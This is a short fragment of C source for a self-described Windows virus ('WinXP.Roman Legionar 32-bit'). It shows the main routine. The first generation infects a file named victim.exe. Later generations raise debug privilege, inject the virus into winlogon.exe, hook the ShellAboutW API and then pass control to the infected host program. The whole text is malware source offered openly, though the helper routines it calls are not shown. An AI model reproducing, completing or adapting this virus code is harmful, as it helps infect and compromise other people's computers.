	//Init kernel32.dll,user32.dll....
	InitDLLs();


	//1st generation
	if (dwGeneration==1)
	{
		aMessageBoxA(NULL,"Hello World!!! This is first generation!!!","[WinXP.Roman Legionar 32-bit] by tanMa",MB_OK | MB_ICONINFORMATION);

		if (!InfectFile("victim.exe"))
		{
			DBGERR("Infect File FAILED!!!")
		}


	}
	else	//Generation 2,3,4,5.....(means we are in infected victim)
	{

		//set debug previlege because we need them for accessing winlogon.exe
		SetDebugPrivilege();

		//Inject virii
		if (NULL==InsertVirusIntoProcess("winlogon.exe",(DWORD)&Intruder,0))
		{
			DBGERR("InsertVirusIntoProcess - FAILED!!!")
		}

		//say hello...
		//aMessageBoxA(NULL,"Hello World from infected Victim!!!\nPress OK to continue...","[WinXP.Roman Legionar 32-bit] by tanMa",MB_OK | MB_ICONINFORMATION);

		//hook api
		HookAPI((HMODULE)aGetModuleHandleA(NULL),"ShellAboutW",(FARPROC)&NewShellAboutW);

		//execute host
		HostEP();
	}
return;
}